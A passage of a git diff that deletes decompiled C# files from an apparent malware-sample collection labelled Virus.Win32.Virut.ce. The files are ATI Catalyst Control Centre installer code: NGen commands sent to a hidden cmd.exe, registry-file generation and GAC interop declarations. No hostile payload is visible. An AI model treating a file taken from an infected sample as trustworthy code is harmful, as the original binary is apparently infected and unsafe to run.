= "cmd.exe"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.Arguments = "/E:ON"; - process.StartInfo.RedirectStandardInput = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - streamWriter = process.StandardInput; - string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen update"; - streamWriter.WriteLine(message); - streamWriter.Flush(); - this.Logger.LogMessage(message); - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - finally - { - streamWriter?.Close(); - process?.Close(); - } - } - else - { - try - { - string path1 = this.MassagePath(filePath); - string directoryName = Path.GetDirectoryName(path1); - XmlDocument xmlDocument = this.LoadXmlDocument(path1); - if (xmlDocument == null) - return; - Process process = (Process) null; - StreamWriter streamWriter = (StreamWriter) null; - try - { - this.Logger.LogMessage("Successfully loaded XML file " + path1); - XmlNodeList xmlNodeList = xmlDocument.SelectNodes("Package/Include"); - process = new Process(); - process.StartInfo.FileName = "cmd.exe"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.Arguments = "/E:ON"; - process.StartInfo.RedirectStandardInput = true; - process.StartInfo.UseShellExecute = false; - process.Start(); - streamWriter = process.StandardInput; - foreach (XmlNode xmlNode in xmlNodeList) - { - XmlAttributeCollection attributes = xmlNode.Attributes; - string innerText1 = attributes["file"].InnerText; - string innerText2 = attributes["extension"].InnerText; - string path2 = directoryName + "\\" + innerText1 + "." + innerText2; - if (bool.Parse(attributes["nGen"].InnerText)) - { - if (File.Exists(path2)) - { - string empty = string.Empty; - if (this.action == ATI.ACE.CCCInstall.Action.InstallNGen) - { - string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen install \"" + directoryName + "\\" + innerText1 + "." + innerText2 + "\""; - streamWriter.WriteLine(message); - this.Logger.LogMessage(message); - } - else if (this.action == ATI.ACE.CCCInstall.Action.UninstallNGen) - { - string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen uninstall \"" + directoryName + "\\" + innerText1 + "." + innerText2 + "\""; - streamWriter.WriteLine(message); - this.Logger.LogMessage(message); - } - else - this.Logger.LogMessage("Debug: Wrong parameter passed"); - streamWriter.Flush(); - } - else - this.Logger.LogMessage("Assembly not found: " + path2); - } - } - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - finally - { - streamWriter?.Close(); - process?.Close(); - } - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs deleted file mode 100644 index 8642c647..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs +++ /dev/null @@ -1,99 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.RegistryTasks -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.IO; -using System.Reflection; -using System.Xml; - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal class RegistryTasks : BaseTask, ITask - { - private ATI.ACE.CCCInstall.Action action; - - public RegistryTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action) - : base(log) - { - this.action = action; - } - - public void Run(string filePath) - { - if (this.action == ATI.ACE.CCCInstall.Action.CreateReg) - { - StreamWriter streamWriter = (StreamWriter) null; - try - { - string path = this.MassagePath(filePath); - string directoryName = Path.GetDirectoryName(path); - XmlDocument xmlDocument = this.LoadXmlDocument(path); - if (xmlDocument == null) - return; - this.Logger.LogMessage("Successfully loaded XML file " + path); - XmlNodeList xmlNodeList = xmlDocument.SelectNodes("Package/Include"); - streamWriter = new StreamWriter(path.Replace(".xml", ".reg")); - streamWriter.WriteLine("Windows Registry Editor Version 5.00"); - streamWriter.WriteLine(""); - bool flag1 = true; - foreach (XmlNode xmlNode in xmlNodeList) - { - try - { - XmlAttributeCollection attributes = xmlNode.Attributes; - string innerText1 = attributes["file"].InnerText; - string innerText2 = attributes["extension"].InnerText; - bool flag2 = bool.Parse(attributes["GAC"].InnerText); - string str1 = directoryName + "\\" + innerText1 + "." + innerText2; - try - { - if (flag2) - { - if (File.Exists(str1)) - { - string str2 = "\"" + innerText1 + "\"=\"" + Assembly.ReflectionOnlyLoadFrom(str1).FullName + "\""; - if (IntPtr.Size == 8) - streamWriter.WriteLine("[HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\ATI\\ACE\\Assemblies]"); - else - streamWriter.WriteLine("[HKEY_LOCAL_MACHINE\\Software\\ATI\\ACE\\Assemblies]"); - streamWriter.WriteLine(str2); - streamWriter.WriteLine(); - } - else - this.Logger.LogMessage("Assembly file not found: " + str1); - } - } - catch (Exception ex) - { - this.Logger.LogException(ex, "Error loading " + innerText1 + "." + innerText2); - flag1 = false; - } - } - catch (Exception ex) - { - this.Logger.LogException(ex); - flag1 = false; - } - } - if (flag1) - this.Logger.LogMessage("Install.reg file successfully created."); - else - this.Logger.LogMessage("Install.reg file created. Some assemblies had errors."); - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - finally - { - streamWriter?.Close(); - } - } - else - this.Logger.LogMessage("Debug: Wrong parameter passed"); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/VersionTasks.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/VersionTasks.cs deleted file mode 100644 index fc2e7d68..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/VersionTasks.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.VersionTasks -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal class VersionTasks : BaseTask, ITask - { - private ATI.ACE.CCCInstall.Action action; - - public VersionTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action) - : base(log) - { - this.action = action; - } - - public void Run(string filePath_) - { - if (this.action == ATI.ACE.CCCInstall.Action.CreateVersion) - { - string directoryName = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location); - string str1 = directoryName.Substring(0, directoryName.LastIndexOf(Path.DirectorySeparatorChar) + 1) + "Core-Implementation" + (object) Path.DirectorySeparatorChar + "CLI.Component.Wizard.dll"; - if (File.Exists(str1)) - { - FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(str1); - string str2 = string.Format("{0}.{1}", (object) DateTime.Now.ToString("yyyy.MMdd.HHmm"), (object) versionInfo.FilePrivatePart); - string path = filePath_.Replace("/", "\\").Trim('"'); - if (!Path.IsPathRooted(path)) - path = Path.GetFullPath(path); - StreamWriter streamWriter = (StreamWriter) null; - try - { - streamWriter = new StreamWriter(path, false); - streamWriter.WriteLine("Version={0}", (object) str2); - this.Logger.LogMessage("Version=" + str2); - } - catch (Exception ex) - { - this.Logger.LogException(ex, "CreateVersion"); - } - finally - { - streamWriter?.Close(); - } - } - else - this.Logger.LogMessage("Assembly file not found: " + str1); - } - else - this.Logger.LogMessage("Debug: Wrong parameter passed"); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/AssemblyInfo.cs deleted file mode 100644 index de112620..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("2002-2006")] -[assembly: AssemblyProduct("Catalyst® Control Centre")] -[assembly: AssemblyCompany("ATI Technologies Inc.")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("CCCInstall Tool")] -[assembly: AssemblyTitle("CCCInstall")] -[assembly: AssemblyVersion("2.0.3163.17516")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs deleted file mode 100644 index c30b965a..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.ASM_CACHE_FLAGS -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; - -namespace MsGac.Fusion.Native -{ - [Flags] - internal enum ASM_CACHE_FLAGS - { - ASM_CACHE_ZAP = 1, - ASM_CACHE_GAC = 2, - ASM_CACHE_DOWNLOAD = 4, - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CMP_FLAGS.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CMP_FLAGS.cs deleted file mode 100644 index fff7aec2..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CMP_FLAGS.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.ASM_CMP_FLAGS -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; - -namespace MsGac.Fusion.Native -{ - [Flags] - internal enum ASM_CMP_FLAGS - { - NAME = 1, - MAJOR_VERSION = 2, - MINOR_VERSION = 4, - BUILD_NUMBER = 8, - REVISION_NUMBER = 16, // 0x00000010 - PUBLIC_KEY_TOKEN = 32, // 0x00000020 - CULTURE = 64, // 0x00000040 - CUSTOM = 128, // 0x00000080 - ALL = CUSTOM | CULTURE | PUBLIC_KEY_TOKEN | REVISION_NUMBER | BUILD_NUMBER | MINOR_VERSION | MAJOR_VERSION | NAME, // 0x000000FF - DEFAULT = 256, // 0x00000100 - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs deleted file mode 100644 index d6f31295..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.ASM_DISPLAY_FLAGS -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; - -namespace MsGac.Fusion.Native -{ - [Flags] - internal enum ASM_DISPLAY_FLAGS - { - VERSION = 1, - CULTURE = 2, - PUBLIC_KEY_TOKEN = 4, - PUBLIC_KEY = 8, - CUSTOM = 16, // 0x00000010 - PROCESSORARCHITECTURE = 32, // 0x00000020 - LANGUAGEID = 64, // 0x00000040 - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_NAME.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_NAME.cs deleted file mode 100644 index a0961552..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_NAME.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.ASM_NAME -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -namespace MsGac.Fusion.Native -{ - internal enum ASM_NAME - { - PUBLIC_KEY, - PUBLIC_KEY_TOKEN, - HASH_VALUE, - NAME, - MAJOR_VERSION, - MINOR_VERSION, - BUILD_NUMBER, - REVISION_NUMBER, - CULTURE, - PROCESSOR_ID_ARRAY, - OSINFO_ARRAY, - HASH_ALGID, - ALIAS, - CODEBASE_URL, - CODEBASE_LASTMOD, - NULL_PUBLIC_KEY, - NULL_PUBLIC_KEY_TOKEN, - CUSTOM, - NULL_CUSTOM, - MVID, - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASSEMBLY_INFO.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASSEMBLY_INFO.cs deleted file mode 100644 index 16186ef8..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASSEMBLY_INFO.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.ASSEMBLY_INFO -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - internal struct ASSEMBLY_INFO - { - public uint cbAssemblyInfo; - public uint dwAssemblyFlags; - public ulong uliAssemblySizeInKB; - public string pszCurrentAssemblyPathBuf; - public uint cchBuf; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FUSION_INSTALL_REFERENCE.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FUSION_INSTALL_REFERENCE.cs deleted file mode 100644 index f6451889..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FUSION_INSTALL_REFERENCE.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.FUSION_INSTALL_REFERENCE -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - internal struct FUSION_INSTALL_REFERENCE - { - public uint cbSize; - public uint dwFlags; - public Guid guidScheme; - public string szIdentifier; - public string szNonCannonicalData; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FusionApi.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FusionApi.cs deleted file mode 100644 index 73e216b3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FusionApi.cs +++ /dev/null @@ -1,90 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.FusionApi -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace MsGac.Fusion.Native -{ - internal class FusionApi - { - private const uint IASSEMBLYCACHE_INSTALL_FLAG_REFRESH = 1; - private const uint IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH = 2; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED = 1; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE = 2; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED = 3; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING = 4; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES = 5; - private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND = 6; - public static readonly Guid FUSION_REFCOUNT_UNINSTALL_SUBKEY_GUID = new Guid("8cedc215-ac4b-488b-93c0-a50a49cb2fb8"); - public static readonly Guid FUSION_REFCOUNT_FILEPATH_GUID = new Guid("b02f9d65-fb77-4f7a-afa5-b391309f11c9"); - public static readonly Guid FUSION_REFCOUNT_OPAQUE_STRING_GUID = new Guid("2ec93463-b0c3-45e1-8364-327e96aea856"); - public static readonly Guid FUSION_REFCOUNT_MSI_GUID = new Guid("25df0fc1-7f97-4070-add7-4b13bbfd7cb8"); - - [DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - public static extern void GetCachePath( - ASM_CACHE_FLAGS dwCacheFlags, - [MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwzCachePath, - ref uint pcchPath); - - [DllImport("fusion.dll", PreserveSig = false)] - public static extern void CreateAssemblyCache(out IAssemblyCache ppAsmCache, uint dwReserved); - - [DllImport("fusion.dll", PreserveSig = false)] - public static extern void CreateAssemblyEnum( - out IAssemblyEnum ppEnum, - IntPtr pUnkReserved, - IAssemblyName pName, - ASM_CACHE_FLAGS dwFlags, - IntPtr pvReserved); - - [DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - public static extern void CreateAssemblyNameObject( - out IAssemblyName ppName, - string szAssemblyName, - uint dwFlags, - IntPtr pvReserved); - - [DllImport("fusion.dll", PreserveSig = false)] - public static extern void CreateInstallReferenceEnum( - out IInstallReferenceEnum ppRefEnum, - IAssemblyName pName, - uint dwFlags, - IntPtr pvReserved); - - [DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - public static extern void CreateHistoryReader( - string wzFilePath, - out IHistoryReader ppHistReader); - - [DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - public static extern void GetHistoryFileDirectory([MarshalAs(UnmanagedType.LPWStr)] StringBuilder wzDir, ref uint pdwSize); - - [DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)] - public static extern void LookupHistoryAssembly( - string pwzFilePath, - ref System.Runtime.InteropServices.ComTypes.FILETIME pftActivationDate, - string pwzAsmName, - string pwzPublicKeyToken, - string wzCulture, - string pwzVerRef, - out IntPtr pHistAsm); - - [DllImport("fusion.dll", PreserveSig = false)] - public static extern void NukeDownloadedCache(); - - [DllImport("fusion.dll", PreserveSig = false)] - public static extern void CreateApplicationContext(IAssemblyName pName, out IntPtr ppCtx); - - [DllImport("shfusion.dll", CharSet = CharSet.Unicode)] - public static extern uint PolicyManager( - IntPtr hWndParent, - string pwzFullyQualifiedAppPath, - string pwzAppName, - int dwFlags); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCache.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCache.cs deleted file mode 100644 index 67337009..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCache.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IAssemblyCache -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [Guid("E707DCDE-D1CD-11D2-BAB9-00C04F8ECEAE")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface IAssemblyCache - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int UninstallAssembly( - uint dwFlags, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, - [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData, - out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryAssemblyInfo(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, ref ASSEMBLY_INFO pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CreateAssemblyCacheItem( - uint dwFlags, - IntPtr pvReserved, - out IAssemblyCacheItem ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CreateAssemblyScavenger([MarshalAs(UnmanagedType.IUnknown)] out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int InstallAssembly( - uint dwFlags, - [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, - [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCacheItem.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCacheItem.cs deleted file mode 100644 index 31f2a3cd..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCacheItem.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IAssemblyCacheItem -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System.Runtime.InteropServices; -using System.Runtime.InteropServices.ComTypes; - -namespace MsGac.Fusion.Native -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("9E3AAEB4-D1CD-11D2-BAB9-00C04F8ECEAE")] - [ComImport] - internal interface IAssemblyCacheItem - { - void CreateStream( - uint dwFlags, - [MarshalAs(UnmanagedType.LPWStr)] string pszStreamName, - uint dwFormat, - uint dwFormatFlags, - out IStream ppIStream, - ref long puliMaxSize); - - void Commit(uint dwFlags, out long pulDisposition); - - void AbortItem(); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyEnum.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyEnum.cs deleted file mode 100644 index 66bfd609..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyEnum.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MsGac.Fusion.Native.IAssemblyEnum -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace MsGac.Fusion.Native -{ - [Guid("21B8916C-F28E-11D2-A473-00C04F8EF448")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface IAssemblyEnum - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNextAssembly(IntPtr pvReserved, out IAssemblyName ppName, uint dwFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reset(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Clone(out IAssemblyEnum ppEnum); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyName.cs 